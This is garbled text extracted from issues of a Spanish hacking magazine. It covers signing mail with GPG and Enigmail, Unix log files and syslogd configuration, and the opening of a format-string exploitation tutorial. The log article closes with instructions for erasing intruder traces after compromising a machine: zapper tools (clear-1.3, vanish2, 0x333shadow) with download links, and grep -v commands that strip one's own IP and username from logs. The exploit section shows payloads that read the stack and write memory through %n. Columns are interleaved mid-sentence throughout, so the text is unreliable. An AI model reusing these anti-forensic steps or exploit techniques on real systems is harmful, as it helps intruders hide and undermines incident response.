avisos visuales llamativos para
alertarnos de la situación: en primer
lugar el fondo de la cabecera añadida
cambia a rojo, con su correspondiente
Imagen 9 mensaje de error; y además el icono
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 -d --passph del bolígrafo ahora muestra una señal
rase-fd 0 --no-use-agent de error. Pulsando en dicho icono, o
gpg: encrypted with 4096-bit RSA key, ID 0260BBB0, created 2003-07-21 bien acudiendo a nuestra amada consola
"Death Master <correo>"
de enigmail (;-P) podremos obtener más
detalles del error. Yo consultaré la
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 --verify
consola:(listado 6)
gpg: Signature made Mon Apr 25 23:28:02 2005 CEST using DSA key ID <KeyID>
gpg: Good signature from "AcidBorg <correo>"
Evidentemente, no siempre una alerta
Listado 7 de una firma errónea supone que alguien
haya estado enredando en tus correos.
Pero cuando todo marcha bien, sí es
síntoma inequívoco de que nada malo
ha pasado.
18
(imagen 12) la opción "Sign Message"
(y si habéis seguido mis recomen
daciones sobre la configuración
de enigmail, ni siquiera eso). Al dar la
orden de envío a Thunderbird, se nos
pedirá el passphrase y tras introducirlo
correctamente, el correo se firmará y
enviará automáticamente.
19
mejores clientes de correo que existen,
no a todo el mundo tiene porqué
gustarle. Además, para los usuarios de
Windows supone no poder usar PGP y
depender de GnuPG, lo cual no a todo
el mundo le gusta (si bien es cierto que
con el administrador de claves de
enigmail ya no es tan problemático...).
Imagen 17 E n e n t o r n o s U n i x- l i k e l o s
entornos gráficos tienen dos
partes fundamentales: el
servidor gráfico y el gestor de
ventanas. El servidor gráfico es
el "corazón" del sistema gráfico,
y existen varias imple-
mentaciones (Xfree86, Xorg...),
mientras que el gestor de
ventanas es el "rostro" del
mismo, la parte visible al
usuario.
20
a buen número de gusanos de
correo.
21
es a través de Thunderbird).
Wa d a l b e r t i a ü b e r a l l e s !
22
que voy a enviarme a mí mismo. En
-----BEGIN PGP MESSAGE-----
este caso voy a capturar el tráfico desde
Version: GnuPG v1.4.0 (GNU/Linux)
el mismo ordenador que lo genera, pero
hQIMAyaE+coCYLuwARAAiszhc4nwZEwMWoGRkLbVgxkQPeKC1mw6maoZupPifL0V sería trivial realizarlo desde cualquier
{...} otro ordenador de la misma red (con
técnicas como ARP Spoofing, por
Listado 10 ejemplo) o cualquier ordenador
conectado a una red por la que pase el
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 -d --passph
correo electrónico antes de llegar a su
rase-fd 0 --no-use-agent
destino.
gpg: encrypted with 4096-bit RSA key, ID 0260BBB0, created 2003-07-21
"Death Master <correo_electrónico>"
gpg: Signature made Sat May 7 15:53:05 2005 CEST using RSA key ID AF9593E1
¡¡IMPORTANTE!! Antes de nada,
gpg: Good signature from "Death Master <correo_electrónico>" debe quedar MUY clara una
cosa: yo voy a utilizar cuentas
{...} de correo que son de mi
propiedad por lo que no hay
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 --with-colo ningún problema. Pero en caso
ns --list-keys 6F6F3938AF9593E1 de que no fueran mías sí lo
habría, pues espiar el correo
Listado 11
electrónico es un DELITO MUY
GRAVE.
Imagen 23 E x p l i c a r é b r e ve m e n t e l a l e ye n d a
utilizada: en verde está marcado el
trayecto durante el cual el correo es
completamente legible para cualquiera
interesado en él; en amarillo está
marcado el trayecto durante el cual no
sabemos el grado de seguridad del
correo (aunque posiblemente sea bajo
o nulo); y en rojo está marcado el
trayecto durante el cual el correo es
ilegible para cualquiera (excepto para
nosotros en el destino) y es por tanto
seguro.
23
Ahora probaremos a mandar un correo
electrónico cifrado con PGP desde una
cuenta con correo saliente SMTP hasta
una cuenta con correo entrante SMTP
(ambas sin SSL). El esquema es el
siguiente:
24
Muy buenas, es la primera vez que escribo para la revista, espero que os guste y no quedéis
decepcionados :-). Si creéis que algo no está bien, veis alguna errata o tenéis alguna duda,
posteadla en el foro (http://www.hackxcrack.com), y se hará lo que se pueda :-p.
Este artículo es bastante teórico, siento que sea así, pero es que la teoría es necesaria para
luego saber aplicarla a la práctica, el borrado/edición de huellas :-). Aun así espero que sea
lo más ameno posible ;)
Como partimos desde cero, voy a empezar explicando lo más básico... Si ya sabes lo que son
los logs y donde se guardan, sáltate este apartado. Si ya crees saberlo todo sobre los logs,
pasa al siguiente artículo! :P
25
/var/log/daemon.log: Contiene los
logs de los demonios que se cargan en
el sistema.
/var/log/mail.log: En caso de tener
un servidor SMTP en el equipo, nos
muestra información de todos los
mensajes que entran y salen de nuestro
servidor.
26
La estructura de este fichero es utmp. enorme y eso no es muy recomendable Resumiendo, Syslogd es el demonio
Contiene información como el nombre :P. encargado de loguear los eventos que
de usuario, por donde accede, el origen ocurren en nuestro sistema.
y la hora de acceso. Al ser un fichero Para ver los logs es necesario ejecutar
binario, para verlo se necesita un el comando lastcomm o acctomm. Syslog tiene otro demonio más aparte
programa externo, en este caso, se tiene Ahora vamos a ver una de las partes de syslogd, el klogd. De momento no
que ejecutar el comando last. más importantes de los logs de lo vamos a tocar, con saber que es el
GNU/Linux y UniX, del que seguro demonio que se encarga exclusivamente
/var/log/utmp: Contiene información habréis oído hablar, sí, me estoy de los mensajes del kernel nos basta,
de todos los usuarios conectados. No refiriendo al demonio syslogd :-p. de todas formas, man klogd :P
incluye los usuarios que están
conectados a servicios como FTP, IMAP, Bien, espero que haya quedado claro lo
etc. La razón es que estos servicios no que es Syslogd y syslog, ahora vamos
utilizan utmp para loguear. a lo fuerte, vamos a ver la configura-
¿Qué es Syslogd? Syslogd es el demonio ción del demonio Syslogd...
Como en el caso anterior y en todos los de Syslog. Ahm... y ¿qué es Syslog?
binarios, para verlo es necesario teclear Syslog es un estándar de facto para
el comando w o who, que dará una controlar, redireccionar y administrar
salida con los logins de los usuarios mensajes log en una red TCP/IP. El
conectados, la terminal por la que se término Syslog se utiliza indistin- Bien, el demonio Syslogd se configura
han conectado, la fecha y la hora. tamente tanto para el protocolo syslog a través de reglas, como iptables,
como para la librería o aplicación snort... pero de diferente manera claro
/var/log/lastlog: Contiene la fecha y encargada del envío de los mensajes. ;) Y ¿Dónde se colocan estas reglas?
la hora de la última conexión de cada Syslog se suele usar para la auditoria Pues en su archivo de configuración,
usuario existente en el sistema. Si un y administración de sistemas. que está por defecto en /etc/syslog.conf.
usuario nunca se ha logueado, en vez Vamos a coger nuestro editor/visua-
de salir la fecha y la hora de la última El protocolo syslog es muy simple, el lizador de texto plano preferido y vamos
conexión saldrá el mensaje **Nunca emisor de syslog envía mensajes de a abrir el fichero de configuración, para
ha entrado**. El visor para ver la texto cortos al receptor de syslog. El ver su aspecto. Que, acojona eh?
información de este log es el comando receptor es el antes mencionado Haceros una idea de lo que nos espera...
lastlog. Syslogd, nótese la d del final que muahahaha! Es broma, es sencillito,
significa daemon (demonio). Estos igual al principio cuesta pero no es nada
/var/log/faillog: Contiene los intentos mensajes son enviados a través del :)(figura 2)
de login fallidos que se han hecho en el protocolo de transporte UDP (ya se ha
sistema. Es muy parecido al anterior, hablado de UDP en la revista en los Como vemos en el syslog.conf hay
pero en vez de mostrar los últimos excelentes artículos de PyC :)) en texto bastantes reglas predefinidas y
accesos, muestra los intentos de login plano. comentarios (las líneas que empiezan
fallidos. El visor para verlo es el comando
faillog.
Mi archivo /etc/syslog.conf Figura 2
acct (o pacct): Registra los comandos
ejecutados por todos los usuarios.
Solamente los comandos, los
a r g u m e n t o s n o. F u n c i o n a s i e s t á
activado el proceso Accounting, que
se activa mediante el comando accton,
y es necesario tenerlo instalado, aunque
en algunas distros ya viene por defecto.
Si no lo tenemos instalado ya sabéis,
apt-get install acct && accton y si
no usáis Debian o alguna basada en
ésta buscáis el .tar.gz y lo instaláis. Este
log es bastante eficaz, por ejemplo
aunque el 'atacante' pare el proceso
acct, en el log aparecerá el comando
ejecutado por el atacante para pararlo.
El único inconveniente es que si usamos
bastante la máquina el log se hará
27
por #). Lógicamente lo que a nosotros syslog: Los logs generados máxima, ya, ya se que no era difícil de
nos interesa son las reglas :P. Vemos internamente por el demonio syslogd. adivinar :P
que todas las reglas tienen el mismo
lpr: Logs procedentes de la/s Aquí tienes un esquema que nos servirá
formato, dos campos separados por una
impresora/s. para tener todo esto más claro por si
o varias tabulaciones. El primer campo
no lo has entendido con tanto palabro,
se llama selector y el segundo campo
news: Logs del sistema de noticias, también nos servirá como referencia
acción.
en caso de tener un servidor de news durante un buen rato, así que no lo
instalado. pierdas de vista :)(figura 3)
El selector a su vez consta de las
facilities y las priorities, separadas uucp: Logs generados por el sistema
por un punto. Jarrrllll... las faciqueee?? UUCP. UUCP viene de Unix to Unix Copy,
Lo que vemos a la izquierda son los
Prioriqueee??? Que me estás contando... uno de los protocolos más antiguos y
selectores. Dentro de los selectores, en
Tranquil@, ahora verás :P que originalmente se utilizaba para
azul tenemos las facilities, en rojo las
copiar archivos entre sistemas UniX,
priorities, y en amarillo los caracteres
La acción, como su nombre indica, es pero lo poco que se utiliza actualmente
especiales, que ahora explicaré. Si has
la acción a tomar cuando se cumple el e s p a ra e nv i a r y r e c i b i r c o r r e o s
entendido todo lo explicado y eres buen
selector. Normalmente la acción es la electrónicos y noticias.
observador verás que en casi todas las
ruta de un archivo log, pero también se
cron: Logs generados por el demonio reglas hay 2 o más facilities, y en
puede enviar a los usuarios, a la
CRON. Cron es el encargado de la algunas dos priorities... Bueno, en los
impresora, a otro host... Un poco más
programación de tareas periódicas, como selectores se pueden concatenar las
adelante veremos esto ;)
el comando AT de Windows. facilities y las priorities en una misma
Ahora sí, vamos a ver que es eso de las línea, si queremos por ejemplo que dos
Priorities: facilities con priorities diferentes se
facilities y las priorities, o en cristiano:
Las facilidades o servicios y las envíen a un mismo fichero log no
debug: Logs de depuración de un
prioridades, lo he puesto en inglés tenemos más que concatenarlos con un
programa.
porque queda más l33t... jajaja no punto y coma (carácter especial), como
hombre, lo he puesto en inglés porque info: Logs informativos. la primera línea. En la segunda línea
es como se les suele llamar :P vemos dos facilities pero no están
notice: Logs de sucesos significativos separadas por punto y coma, si no por
pero normales. una coma simple (otro carácter
Las facilities procuran identificar el
programa que originó el/los mensaje/s especial), esto indica que para los dos
warn o warning: Logs de adver-
log. se usará la misma prioridad, ahora lo
tencia, como el propio nombre indica
veremos más detalladamente.
:P
Las priorities clasifican el nivel de
Un apunte importante... cuando se
importancia del mensaje log.
err: Logs de error. especifica una prioridad estamos
diciendo esa prioridad y sus
En el fichero de configuración vemos
crit: Logs que indican situaciones i n f e r i o r e s , p o r e j e m p l o , s i
que aparecen muchas palabras raras
críticas. especificamos la prioridad notice
:P Esas palabras son los tipos de facilities
registrará también los mensajes con
y de priorities, vamos a verlos todos
alert: Logs de alerta. Si nos prioridad debug e info, así con todos.
con una breve explicación:
encontramos con uno de estos, es muy Si queremos evitar esto, debemos usar
importante hacer algo rápido, si no... el carácter especial igual (=), como
Facilities:
Ya sabes... xD veremos en el próximo apartado.
kern: Estos son los logs procedentes
del kernel. emerg: El sistema se ha vuelto
inoperable, vamos que la hemos liao. Los caracteres especiales nos permiten
user: Son los logs generados por aprovechar más la estructura de
procesos aleatorios del usuario. Están ordenados de menor a mayor lasreglas, vamos a ver los tipos de
prioridad, debug es la prioridad mínima caracteres especiales que hay, su función
mail: Logs del sistema de correo, en mientras que emerg es la prioridad y algún ejemplo.
caso de tener un servidor instalado.
mail.warn;news.warn;auth.* /var/log/messages
daemon: Logs procedentes de los
kern,mail.warning -/var/log/kern_mail.log
demonios del sistema.
kern,mail.=warning -/var/log/kern_mail_warn.log
kern.err;kern.!=warning /var/log/kern_warn_negado.log
authpriv y auth (éste último en
*.alert /var/log/alerts.log
desuso): Logs de seguridad y del
sistema de autorizaciones. Figura 3 Esquema 1
28
El asterisco (*): El asterisco se em- con prioridad warning y solamente A un fichero log de texto plano:
plea como comodín. Cuando aparece warning! :P Nada de priorities infe- Sobran las palabras creo, no? :) Lo que
un asterisco quiere decir que se refiere riores... hemos estado viendo todo el rato :)
a todas las facilities o todas las priorities
A una terminal o a la consola:
dependiendo de la posición en la que El signo de exclamación (!): Con
Syslogd nos ofrece la posibilidad de
aparezca. Como ejemplo vamos a la el ! delante de la prioridad indicamos
enviar los logs directamente a una
figura 3 y vemos que la primera línea que queremos exceptuar esa prioridad
terminal o a la consola con la que
tiene el asterisco al final. Como está y sus inferiores. Lo podemos combinar
estamos trabajando, de forma que
detrás del punto que separa las facilities con el igual, de tal forma que quede
podríamos ver los logs in situ. La
de las priorities, sabemos que ese !=, con esta combinación lo que
verdad es que fastidia un poco que te
asterisco hace de comodín para las hacemos es exceptuar esa prioridad
lleguen mensajitos mientras estás
priorities, es decir lo que hacemos con pero no sus inferiores. Como ejemplo,
listando los archivos de tu home por
ese comodín es indicar Todas las en la cuarta línea del esquema 1 vemos
ejemplo... pero seguro que los ves! :P.
priorities. En la última línea de la misma como con la combinación de estos
En la segunda y tercera línea del
figura vemos también como aparece caracteres especiales decimos que se
esquema 2 vemos un ejemplo de esto,
otro asterisco, pero esta vez delante logueen los mensajes del kernel con
la regla de la línea 2 envía los logs a la
del punto, por lo que indica Todas las prioridad info e inferiores pero que no
terminal 2 (tty), y la regla de la línea
facilities. Explicar esto es un poco se registren los que tengan prioridad
3 los envía a la consola con la que
engorroso, pero una vez lo pillas es de warning exclusivamente, ya que lleva
estamos trabajando (/dev/console).
lo más útil, ya que el asterisco como el símbolo = combinado con !.
A un usuario (o a todos): Esto es
comodín no solo se utiliza aquí, seguro
simple, se especifica solo el usuario o
que en la línea de comandos lo has
los usuarios a los que queremos enviarle
utilizado más de una vez para referirte
los logs y se le mostrará en la consola.
a un archivo cuando no sabes su nombre Siguiendo el esquema 1, vemos a la
Si queremos enviar los logs a todos los
completo :P derecha el campo acción, separado por
usuarios, lo hacemos con el asterisco
tabulaciones del campo selector. El
El punto y coma (;): Como dije *. En el ejemplo del esquema vemos
campo acción tiene en verde la acción
antes, este carácter especial se utiliza en la línea 4 como envía todos los logs
a hacer en caso de que se cumpla el
para concatenar varias del kernel con prioridad crítica a los
selector y en algunas reglas tiene un
facilities+priorities en una misma línea. usuarios root e ivan. En la línea 5
guión (-), color turquesa. Este guión
Ejemplo: La primera línea del esquema vemos como envía todos los logs con
indica que no se sincroniza cada vez
1 aparecen 3 facilities y 3 priorities prioridad emerg a todos los usuarios.
que existe una entrada en ese log, así
(recuerda que el asterisco del final es
que si el sistema se cae podemos perder A la impresora: Si activamos el modo
comodín ;)), como vemos están
datos. La ventaja que conseguimos con paranoico podemos enviar los logs
concatenadas mediante un punto y
esto es una mejora en la velocidad, directamente a la impresora, esto en
coma. Como ya dije, la utilidad de
sobre todo si hay muchas aplicaciones mi opinión es un poco paranoico, pero
concatenar varias facilities y priorities
enviando logs a Syslogd. por seguridad que no falte :P. Es similar
es la de dirigirlas a un mismo destino,
a enviarlos a una terminal, pero a la
en este caso a un mismo archivo.
Voy a poner un nuevo esquema, con impresora. En la sexta línea del esquema
La coma (,): La coma sirve para
acciones que no hemos visto hasta 2 vemos como todos los logs con
especificar a múltiples facilities una
ahora:(figura 4) prioridad warn e inferiores se envían al
misma prioridad. En la segunda línea
dispositivo /dev/lp1, que viene a ser la
del esquema 1 vemos como hay dos
Antes dije que la acción normalmente impresora.
facilities separadas por una coma y
era la ruta a un archivo log, pero como
detrás del punto la prioridad de esos A otro programa a través de un
también dije no siempre es así, podemos
dos facilities. fichero FIFO (tubería con nombre):
enviarlo a otros medios, a continuación
Podemos enviar los logs a otro programa
El espacio ( ): El espacio indica que veremos todos los medios junto a una
a través de un fichero FIFO (First In
no hay priorities definidas para las breve explicación de como hacerlo y un
First Out, lo Primero que Entra es lo
facilities. ejemplo (como no :P):
29
mkdir /var/log/pipes #creamos el directorio pipes en /var/log
mkfifo -m 600 /var/log/pipes/autentificaciones #creamos un archivo FIFO llamado autentificaciones con chmod 600
mkfifo -600 /var/log/pipes/todo #ídem del anterior, pero llamado todo
Listado 1
seguido todos los pasos exactamente
auth.* |/var/log/pipes/autentificaciones como he descrito saldrá bien. Podemos
*.* |/var/log/pipes/todo hacer dos cosas, reiniciar el SO para que
el mismo levante los servicios, o
Listado 2 levantarlos nosotros y no reiniciar... Si
#!/bin/bash habéis elegido esto último, aquí los pasos
/usr/bin/logcolorise.pl /var/log/pipes/todo >/dev/tty3& para hacerlo (como root):
30
Para que el host remoto pueda recibir
los logs tiene que ejecutar syslogd con
la opción -r. También hay que tener
en cuenta que para recibir los logs tiene
que aceptar todo lo que entre por el
puerto 514 de UDP, así que a configurar
los firewalls toca!
31
C o n e s t o ya h e m o s a c a b a d o c o n llamada clear-1.3 con un Makefile, un varias veces, mejor utilizar el clear13a
Syslogd... ya era hora eh! Nada, ahora README y dos archivos C (clear13a.c y de golpe y ya está. Otro ejemplo de uso
vamos a ver lo que supongo que estaréis clear13b.c). Tenemos que compilarlos, de clear13b sería si el usuario ya existía,
esperando... la edición y el borrado de p e r o a n t e s va m o s a h a c e r u n a s hemos adivinado la pass y hemos
logs! pequeñas modificaciones a los archivos entrado con ese usuario, borramos solo
C poniendo la ruta correcta de nuestros el último log para no levantar sospechas
archivos log. Para esto editamos primero dejando los anteriores como estaban.
el fichero clear13a.c y las constantes La sintaxis es muy sencilla, simplemente
WTMP_NAME, UTMP_NAME y ./clear13[ab] nombre_de_usuario,
LASTLOG_NAME las cambiamos a la ruta siendo [ab] el clear13a o el clear13b,
Realmente esto no tiene mucho misterio, donde tenemos los logs en nuestro lo dicho anteriormente.
ya que tenemos muchas herramientas sistema, normalmente /var/log (para
que nos facilitan la tarea de editar y wtmp y lastlog) y /var/run/utmp (para Ejemplos:
borrar los logs, estas herramientas se utmp). Nos quedaría así:(ver figura ./clear13b hackxcrack -> Borrará la
llaman zappers. 7). última entrada del usuario hackxcrack.
Cuando los logs son de texto plano lo Guardamos y cerramos. Con el ./clear13a hackxcrack -> Borrará todas
podemos hacer nosotros mismos, con clear13b.c hacemos lo mismo. Después las entradas del usuario hackxcrack.
cat y grep se pueden hacer maravillas vamos a la consola, entramos al
(ahora veremos algún ejemplo), pero directorio donde tenemos el clear-1.3 El vanish2 es más completito, le pasas
para los binarios lo tenemos más difícil, y tecleamos make para compilarlos. el usuario, el hostname y la IP que
por eso necesitamos los zappers ;). Si no hay ningún problema ya lo quieres borrar y los busca por todos
Vamos a ver tres zappers, el clear-1.3 tendremos compilado. Os estaréis esos ficheros, y cuando lo localiza... se
del conjunto de utilidades thc-uht del preguntando que diferencia hay entre lo carga :) Lo podéis bajar de
grupo THC, el 0x333shadow del grupo clear13a y clear13b... Pues bien, los http://packetstorm.linuxsecurity.com/
0x333 y el vanish2 de Neo the dos borran los logs del usuario que le UNIX/penetration/log-wipers
Hacker. pases como argumento en la línea de /vanish2.tgz, lo único que habrá que
comandos, pero clear13a borra TODAS editar el fichero vanish2.c y en todas
Para instalar clear-1.3 debemos bajar las entradas de ese usuario, mientras las funciones exit() que salen añadir un
el thc-uht (THC-UnixHackingTools) de que clear13b solo borra la última 0 al paréntesis, si no dará error al
http://www.thc.org/download.php?t=r entrada. Uno puede ser útil para unas compilarlo. Os lo podéis bajar ya
&f=thc-uht1.tgz y descomprimirlo, una situaciones y el otro para otras, por compilado de www.hackxcrack.com
vez descomprimido veremos muchas ejemplo si hemos comprometido la /programas/vanish2.zip, pero lo he
utilidades, entre ellas habrá un archivo máquina y nos hemos logueado una sola compilado con la ruta de mis logs de
comprimido llamado clear-1.3.tar.gz, vez podemos utilizar el clear13b, si en apache2, que es /var/log/apache2, si
lo descomprimimos (tar xvfz clear- cambio hemos estado utilizándola como tenéis esta misma ruta pues adelante
1.3.tar.gz) y nos creará una carpeta dump, o bouncer, y nos hemos logueado si no editarlo a mano y añadirle los 0 a
las funciones exit().
Figura 7
Su sintaxis es sencilla: ./vanish2
<user> <host> <IP>, como root. Este
zapper busca en los archivos WTMP,
UTMP, lastlog, messages, secure,
xferlog, maillog, warn, mail,
httpd.access_log, y httpd.error_log.
Ejemplo:
./vanish2 hackxcrack HxC
212.124.113.53 -> Borrará todos los
logs que contengan el usuario
hackxcrack, o el host HxC o la IP
212.124.113.53
32
descomprimimos y lo compilamos con -m podemos especificar archivos log /var/log/apache2/access.log | grep -v
gcc 0x333shadow.c -o 0x333shadow - que hayamos visto en el sistema y que NUESTRAIP >/var/log/apache2
D Linux. Es capaz de matar syslogd, y el programa no los conozca, o si los /access.log, o para borrar nuestros
por defecto busca en los directorios logs están en otro directorio. Podemos intentos de logueo cat /var/log/auth.log
/var/log, /var/adm, /usr/adm, /var/mail. especificar más de un archivo/directorio, | grep -v NUESTROUSER >/var/log/
El uso y sus opciones lo podéis ver separados por un espacio. auth.log, y así con los que queramos.
vosotros mismos ejecutándolo sin ningún El parámetro -v de grep lo que hace
parámetro, pero lo voy a explicar de Ejemplos: es no mostrar las coincidencias.
todas formas, por si las dudas :P
./0x333shadow -i 212.124.113.53 -m
Su sintaxis es: ./0x333shadow [acción] /var/log/apache2/access.log -> Borrará
-i [cadena] -l [segundos] -m [dir1/ todos los logs de la IP 212.124.113.53
archivo1] [dir2/archivo2] [...] del archivo access.log del Apache2. Bueno pues ya hemos visto lo más
básico de logs en GNU/LiNUX y UniX en
Acción: Pueden ser dos opciones, -a ./0x333shadow -b -i hackxcrack -l 30 - general, nos hemos dejado cosas como
o -b. El primero limpia los directorios > Borrará todos los logs del usuario la rotación de logs, logcheck, pero yo
por defecto que tengan la cadena que hackxcrack en los archivos de log creo que con esto y Google es suficiente,
especifiquemos. El segundo lo mismo binarios cuando pasen 30 segundos. de todas formas si tenéis interés decirlo
que el primero, pero este solo limpiará en el foro y se hace una ampliación...
los logs binarios (utmp, wtmp, utmpx, ./0x333shadow -a -i hackxcrack -> Si os han quedado dudas, por favor
wtmpx y lastlog). Borrará todo log que contenga la cadena decirlo en el foro y yo o los demás
hackxcrack. usuarios intentaremos aclararlas, pero
Cadena: Lo que queremos que borre no os quedéis con ellas ;) La url del foro
en caso de que coincida esta cadena, e s : h t t p : / / w w w. h a c k x c r a c k . c o m /
por ejemplo nuestra IP. phpBB2/index.php
Segundos: Da la posibilidad de que Los logs de texto plano podemos Sin más, hasta otra!!
empiece la limpieza de logs pasados los modificarlos a mano, o desde un
segundos que especifiquemos, esto es shellscript creado por nosotros, tan solo Iván Alcaraz
útil porque podemos desloguearnos y con programas típicos de unix cat o <ivanalcaraz@telefonica.net>
esto hará que limpie el logout también. grep. Un ejemplo podría ser borrar los DiSTuRB
Dir1/archivo1...: Gracias al parámetro logs de Apache, podríamos hacer: cat
precios desde
99 euros
33
Ya estoy aquí de nuevo ;-). Después de aprender en los dos artículos anteriores cómo explotar
un buffer overflow, tanto en la pila como en el Heap (memoria dinámica), hoy vamos a analizar
un tipo de vulnerabilidad diferente. Se trata de un fallo de programación descubierto
recientemente (comparado con los desbordamientos de buffer), relativo al uso de las llamadas
cadenas de formato o format strings en inglés. Durante el artículo veremos cómo se usan las
cadenas de formato, qué funciones hacen uso de ellas, y cómo no debemos usarlas para evitar
dichas vulnerabilidades en nuestros programas. Además, aprenderemos a explotar dichos
errores de programación, tratando de conseguir ejecutar código arbitrario en nuestras
aplicaciones ;-). Vamos al grano.
34
de formato. Por tanto, si queremos
mostrar el entero que se ha pasado
como tercer parámetro (la variable c en
este caso), pondremos %3$d en la
cadena de formato.
Tabla 1
35
que la variable shell, localizada en
tuxed@zeus:/tmp$ gcc ejemplo2.c -o ejemplo2 0xbfffb6b, contiene la cadena /bin/bash.
tuxed@zeus:/tmp$ ./ejemplo2 "int: %d " El programa environm es el código env.c
int: -1073743042 tuxed@zeus:/tmp$ ./ejemplo2 "float: %f" utilizado en los artículos anteriores,
float: 0.000000tuxed@zeus:/tmp$ ./ejemplo2 "hexa: %x "
compilado y guardado como environm,
hexa: bffffb3d tuxed@zeus:/tmp$
puesto que tiene los mismos caracteres
Listado 4 que el nombre del programa vulnerable
(para no tener que sumar ni restar nada
tuxed@zeus:/tmp$ ./ejemplo2 "AAAA: %x.%x.%x.%x.%x "
a la dirección devuelta :-P ). En el foro
AAAA: bffffb31.4.0.41414141.7825203a tuxed@zeus:/tmp$
puedes encontrar tanto éste como todos
Listado 5 los demás códigos que utilizo en mis
tuxed@zeus:/tmp$ ./environm SHELL
artículos ;-).
La variable SHELL está en la dirección 0xbffffb6b
tuxed@zeus:/tmp$ ./ejemplo2 "`printf "\x6b\xfb\xff\xbf"`. %4\$s " Además debes tener en cuenta que para
kûÿ¿. /bin/bash tuxed@zeus:/tmp$ poner la dirección de memoria, he usado
el comando printf de la shell bash, y la
Listado 6
sustitución de caracteres de bash.
un valor de la memoria, y lo imprime Como algunos ya sabéis, el número También podía haber usado perl, tal y
en el lugar adecuado de la cadena de 0x41 (el 65 en decimal) es el código como hicimos en los artículos anteriores.
formato. Pero, ¿de dónde salen esos ASCII de la letra A, así que lo que ha Bien, ahora ya sabemos leer cualquier
valores? Si has leído el primero de mis salido como cuarto parámetro es el valor c a d e n a q u e h aya a l m a c e n a d a e n
artículos, pensando un poco lo podrás AAAA, que son los cuatro primeros bytes memoria, pero... ¿qué más nos puede
adivinar. Si no lo has leído, ahora mismo de nuestra cadena de formato. Justo interesar? Si recuerdas el artículo
te explico un poco el tema ;-). después, viene el código ASCII de los a n t e r i o r, c u a n d o h a b l a m o s d e
cuatro caracteres siguientes: desbordamientos en el Heap, vimos que
0x7825203a . Si buscas en cualquier éstos no posibilitaban escribir cualquier
Cuando llamamos a una función, los
tabla ASCII (como la de www.ascii cosa en una dirección de memoria a
parámetros de ésta se guardan en la
pila del sistema. Así, cuando la función table.com ) podrás ver que el carácter nuestra elección. Vimos entonces que
necesita acceder a algún parámetro, : tiene el código 0x3a, el espacio es el esto nos podía servir para lograr ejecutar
accede a la pila y recoge su valor. Así 0x20, y así sucesivamente (ten en código en el proceso víctima, pudiendo
pues, cuando en una cadena de formato cuenta que la memoria es little-endian, así conseguir ejecutar una shell con los
especificamos un conversor de formato, con lo que los bytes de menor peso se privilegios de dicho proceso.
pero no hay un parámetro asociado, lo guardan primero, y por eso en cada
que estamos haciendo es leer directa- valor mostrado los bytes están Pues bien, con las cadenas de formato
mente de la pila. De esta forma, pode- invertidos). podemos conseguir exactamente lo
mos leer la pila del programa vulnerable, mismo, o incluso más ;-). Vamos a ver
haciendo algo así:(listado 5) Así pues, si pusiéramos un %s en el en la siguiente sección cómo escribir en
cuarto parámetro en lugar de un %x, el memoria.
programa trataría de leer en la dirección
Como ves, hemos leído 5 números de
0x41414141, puesto que %s lee de la
32 bits en hexadecimal, gracias al
dirección de memoria especificada como
parámetro %x. Si quisiéramos haber
parámetro. Por tanto, si al principio de
leído más datos, habríamos puesto más
la cadena de formato ponemos una
veces el conversor %x, y obtendríamos
dirección de memoria, y luego pasamos Esto se pone interesante :-). Queremos
los datos de la pila. Sin embargo, no
el especificador de formato %4$s, escribir algo en memoria mediante una
sólo existe la pila en un proceso, y en
leeremos lo que haya en esa posición cadena de formato y una llamada a
otras secciones de la memoria puede
(nos lo mostrará como una cadena). printf, ¿se te ocurre algo? Te propongo
haber datos realmente interesantes, así
Probemos a localizar una variable de que retrocedas un poco y mires otra
que algo habrá que inventar para leer
entorno cualquiera, por ejemplo la vez en la tabla que puse con los distintos
memoria de cualquier lugar.
variable SHELL, y leerla mediante la especificadores de formato, a ver si
cadena de formato:(listado 6) alguno te da una pista de cómo podemos
escribir datos en memoria ;-).
En la salida anterior debéis tener en
cuenta que el símbolo $ es interpretado Bien, ahora que ya has leído de nuevo
por la shell bash como el inicio del la tabla, habrás visto que el único
Si te fijas en el listado 5, verás que en nombre de una variable, y por ello lo identificador que permite escribir en
la respuesta, el cuarto %x se ha hemos tenido que escapar con el memoria es el %n, verdad? Como la
sustituido por el valor 0x41414141. carácter \.En ésta se puede observar tabla muestra, dicho identificador escribe
36
en la dirección de memoria recibida el valor 0xfffffffc (-4 codificado en campo ( padding o relleno), como he
como parámetro, la cantidad de datos complemento a dos). Pues bien, explicado al principio. Así, si queremos
que se han sacado por pantalla hasta tratemos de modificar el valor de dicha escribir un 0x0C (valor 12 en decimal),
el momento. Entonces, si queremos variable. Como he dicho, tenemos que debemos poner un relleno de 8
escribir un número determinado en una pasar la dirección de la variable, y luego caracteres, con lo que pondríamos lo
dirección de memoria determinada, sólo el especificador %n aplicado al cuarto siguiente:(listado 10)
tenemos que escribir dicha dirección de parámetro (esto es, la propia cadena
Como puedes observar, el efecto ha
memoria, escribir tantos caracteres de formato):(listado 9)
sido el deseado. Así pues, ya sabemos
como sean necesarios para llegar a dicho
escribir el byte que deseemos,
número, y utilizar el operador %n sobre Como ves, el valor de la variable i se
solamente utilizando un padding
el principio de nuestra cadena de ha modificado por 4. En realidad, el
determinado en el identificador %x de
formato. valor que ha tomado es 0x00000004,
nuestra cadena de formato.
que es la codificación del número entero
No sé si me he explicado bien, pero creo 4, y éste es a su vez el número de
Ahora veamos qué pasa si queremos
que con un ejemplo os quedará claro. caracteres que hay antes del %4$n.
e s c r i b i r, p o r e j e m p l o , e l v a l o r
Para ver esto, vamos a usar una versión Pero, cómo hacemos para escribir el
0xDDCCBBAA en la variable i. Teniendo
modificada del ejemplo anterior, en la valor que nosotros queramos? Pues
en cuenta el hecho de que los datos se
que hemos agregado una variable con vamos a hacerlo mediante cuatro
codifican en little-endian en la
un valor determinado, y la mostraremos escrituras sucesivas en memoria,
arquitectura Intel x86, tendremos que
por pantalla. Así podremos comprobar escribiendo en cada una de ellas un byte
poner el byte menos significativo en la
en tiempo real qué es lo que estamos arbitrario.
primera posición de memoria, después
sobrescribiendo.(listado 7)
el segundo menos significativo, y así
Sin embargo, de momento solo sabemos
sucesivamente.
Bien, sobre este código, vamos a escribir un 0x04 en la dirección que
